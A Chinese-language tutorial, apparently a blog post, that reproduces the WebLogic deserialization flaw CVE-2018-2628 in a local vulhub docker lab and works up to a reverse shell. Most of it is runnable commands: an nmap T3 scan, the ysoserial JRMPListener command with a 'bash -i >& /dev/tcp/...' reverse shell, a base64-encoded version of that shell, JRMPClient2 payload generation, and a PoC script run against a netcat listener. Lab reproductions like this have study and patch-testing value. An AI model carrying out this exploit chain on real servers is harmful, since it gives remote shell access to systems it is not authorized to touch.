Weblogic反序列化漏洞(CVE-2018-2628)反彈shell
技術無罪,請勿用於惡意用途
轉載請註明出處!
看見大部分復現教程都是彈計算器,創建文件夾,對於一些人來說不能滿足需求,所以我準備做一個反彈shell的復現。
測試機:MacBook-Air
測試機IP:192.168.0.100
靶機IP:192.168.0.100:7001
環境: docker
工具:CVE-2018-2628漏洞利用工具包 下載
一. 環境搭建
將環境vulhub的環境git到本地
git clone https://github.com/vulhub/vulhub.git
接着 cd weblogic/CVE-2018-2628
輸入docker-compose up -d 啓動
docker-compose up -d
啓動後訪問頁面192.168.0.100:7001
出現這個頁面說明已經成功了
二. 漏洞測試
使用nmap進行掃描
nmap -n -v -p7001,7002 192.168.0.100 --script=weblogic-t3-info
結果顯示開啓了T3協議
下載 CVE-2018-2628漏洞利用工具包
修改url.txt 將裏面的IP 改成目標IP
python CVE-2018-2628-MultiThreading.py
出現 is vul CVE-2018-2628 說明漏洞存在
三. 漏洞復現
啓動JRMP Server:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
[command] : 需要執行的命令
[listen port] : JRMP Server監聽的端口。
這裏我們反彈shell
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.0.100/9999 0>&1'
此處特別注意!!!
由於 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,我們需要進行一次編碼。
轉化工具鏈接 : http://www.jackson-t.ca/runtime-exec-payloads.html
編碼後的命令如下
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'
運行命令
出現 * Opening JRMP listener on 8888
說明JRMP Server正在監聽8888端口
執行
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.0.100:8888 | xxd -p | tr -d $'\n' && echo
複製結果
將weblogic_poc.py 中的 PYLOAD進行替換
並將此處IP改爲目標 IP
使用 nc 進行監聽本地的9999端口
執行
python weblogic_poc.py
可以看見反彈shell成功了
執行命令試試
搞定~
參考鏈接
http://www.jackson-t.ca/runtime-exec-payloads.html
https://www.jianshu.com/p/6649118ba7b6
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628